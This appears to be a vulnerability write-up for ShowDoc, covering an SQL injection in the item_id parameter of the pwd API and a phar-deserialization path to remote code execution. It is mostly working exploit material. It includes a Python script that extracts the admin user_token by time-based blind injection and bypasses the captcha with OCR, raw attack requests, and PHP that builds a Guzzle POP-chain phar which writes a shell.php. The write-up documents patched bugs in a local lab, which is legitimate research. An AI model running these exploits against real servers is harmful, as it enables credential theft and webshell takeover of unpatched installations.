ShowDoc Sql Injection and Remote Code Execution
Overview
ShowDoc is a versatile online documentation tool tailored for IT teams, perfect for creating beautiful API documents, tech manuals, and more using markdown. Its features include automated document generation from code comments or via the RunApi client, multi-platform support, and robust team collaboration tools. Widely adopted by over 100,000 internet teams, including major corporations, ShowDoc offers both public and private project options, extensive edit capabilities, and responsive design for easy access across devices.
Technical Analysis
The developers of ShowDoc fixed an SQL injection vulnerability in the pwd
function related to the item_id
parameter
in
server/Application/Api/Controller/ItemController.class.php
in
version v3.2.6[1].
They also fixed a deserialization vulnerability caused by the new_is_writeable
function
in server/Application/Home/Controller/IndexController.class.php
in
version v3.2.5[2].
Sql Injection
The pwd
function in server/Application/Api/Controller/ItemController.class.php
is vulnerable to SQL injection.
The item_id
parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function pwd() {
$item_id = I("item_id");
$page_id = I("page_id/d");
$password = I("password");
$refer_url = I('refer_url');
$captcha_id = I("captcha_id");
$captcha = I("captcha");
// -- snip --
$item = D("Item")->where("item_id = '$item_id' ")->find(); // Sql Injection
if ($password && $item['password'] == $password) {
session("visit_item_" . $item_id, 1);
$this->sendResult(array("refer_url" => base64_decode($refer_url)));
} else {
$this->sendError(10010, L('access_password_are_incorrect'));
}
}
ShowDoc is a secondary development based on ThinkPHP3.2.3, which can directly obtain the value of item_id
using I("item_id")
.
We can quickly set up a ShowDoc environment using Docker, as shown below, and send a POST request to test for SQL
injection.
1
2
3
4
5
sudo docker run -d --name showdoc \
--user=root --privileged=true \
-p 4999:80 \
-v /showdoc_data/html:/var/www/html/ \
star7th/showdoc:v3.2.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /server/index.php?s=/api/Item/pwd HTTP/1.1
Host: 192.168.32.128:4999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/plain, */*
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.32.128:4999
Referer: http://192.168.32.128:4999/web/
Pragma: no-cache
Cache-Control: no-cache
Cookie: PHPSESSID=04d3132934531e78f6608229071059ac; think_language=en-US
Content-Length: 254
item_id=%27+OR+1%3D%28case+when%28substr%28%28select+token+from+user_token+where+uid%3D1%29%2C1%2C1%29%3D%272%27%29+then+randomblob%281000000000%29+else+0+end%29+OR%271%27%3D%271&page_id=123123&password=12312&refer_url=123123&captcha_id=6138&captcha=e863
And I have written a script to obtain the token through time-based blind injection and recognize the captcha through
dddocr
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import time
import onnxruntime
import requests
import ddddocr
session = requests.session()
chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
token = ['+'] * 64
def inject(url):
global session
i = 1
while True:
if i > 64:
break
for c in chars:
captcha_str, captcha_id = show_captcha(url)
burp0_url = f"{url}/server/index.php?s=/api/Item/pwd"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded",
"Origin": url, "Connection": "keep-alive",
"Referer": f"{url}/web/", "Pragma": "no-cache", "Cache-Control": "no-cache"}
burp0_data = {
"item_id": f"' OR 1=(case when(substr((select token from user_token where uid=1),{i},1)='{c}') then randomblob(1000000000) else 0 end) OR'1'='1",
"page_id": "123123", "password": "12312", "refer_url": "123123", "captcha_id": captcha_id,
"captcha": captcha_str}
start_time = time.time()
session.post(burp0_url, headers=burp0_headers, data=burp0_data)
end_time = time.time()
if end_time - start_time > 1:
token[i - 1] = c
print("".join(token))
break
if token[i - 1] == '+':
time.sleep(5)
else:
i += 1
time.sleep(1)
def create_captcha(url) -> str:
global session
burp0_url = f"{url}/server/index.php?s=/api/common/createCaptcha"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded",
"Origin": url, "Connection": "keep-alive",
"Referer": f"{url}/web/"}
try:
res = session.post(burp0_url, headers=burp0_headers)
data = res.json()
if res.status_code == 200 and data['error_code'] == 0:
return data['data']['captcha_id']
except Exception as e:
pass
return ""
def captcha(img_bytes):
ocr = ddddocr.DdddOcr(show_ad=False)
onnxruntime.set_default_logger_severity(3)
res = ocr.classification(img_bytes)
return res
def show_captcha(url):
global session
captcha_id = create_captcha(url)
burp0_url = f"{url}/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Priority": "u=1"}
try:
res = session.get(burp0_url, headers=burp0_headers)
if res.status_code == 200:
return captcha(res.content), captcha_id
except Exception as e:
print(e)
return None, None
if __name__ == '__main__':
import sys
inject(sys.argv[1])
# pip install ddddocr
# Example: python exp.py target_url
Deserialization
According to the patch information, it can be seen that new_is_writeable has been changed to private. Before the
modification, it could be accessed via /server/index.php?s=/home/index/new_is_writeable&file=file_path
, where the file
parameter is controllable. This parameter accepts a file path and uses fopen
to open it.
So, we inject a phar file to trigger deserialization[5]. Phar files (PHP archives) contain metadata in serialized
format, so during parsing, this metadata will be deserialized. You can try to exploit deserialization vulnerabilities in
PHP code. The best thing about this feature is that deserialization will occur even with PHP functions that do not
execute PHP code, such as file_get_contents(), fopen()
, file(), file_exists(), md5_file(), filemtime(), or filesize().
Then, we need a POP chain, which we can refer to [6]. Showdoc uses Guzzle
, and we can generate a phar file using
the following code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace GuzzleHttp\Cookie{
class SetCookie{
private $data=array();
public function __construct(){
$this->data = array(
'Expires' => 1,
'Discard' => null,
'Value' => '<?php phpinfo();?>'
);
}
}
class CookieJar{
private $strictMode = null;
private $cookies =array();
public function __construct(){
$o = new SetCookie();
$this->cookies = array($o);
}
}
class FileCookieJar extends CookieJar{
private $filename = '/var/www/html/Sqlite/shell.php';
}
}
namespace{
$obj = new GuzzleHttp\Cookie\FileCookieJar();
@unlink('bb.phar');
$phar = new Phar('bb.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
}
File Upload
Finally, we can register an account (registration is enabled by default) and log in to the backend to upload the
phar file, or use the aforementioned SQL injection vulnerability to obtain a user_token and upload the phar file via
the /api/page/uploadImg
API.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /server/index.php?s=/api/page/uploadImg&user_token=9655f4241d296562d5d98dff872a6c2b6b81976620c90e0c2b0fdf9f8eeceb7d&guid=1718689767541 HTTP/1.1
Host: 192.168.32.128:4999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------59380597416901700852304980266
Content-Length: 748
Origin: http://192.168.32.128:4999
Connection: keep-alive
Referer: http://192.168.32.128:4999/web/
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------59380597416901700852304980266
Content-Disposition: form-data; name="editormd-image-file"; filename="test.png"
Content-Type: image/png
GIF89a<?php __HALT_COMPILER(); ?>
½
After we successfully upload the file, we can obtain the link to the file. Then, we access the new_is_writeable interface to trigger it.
Reference
[1] https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda
[2] https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30
[3] https://www.cnblogs.com/CoLo/p/16786626.html#%E8%B7%AF%E7%94%B1
[5] https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization
[6] https://github.com/ambionics/phpggc/blob/master/gadgetchains/Guzzle/FW/1/gadgets.php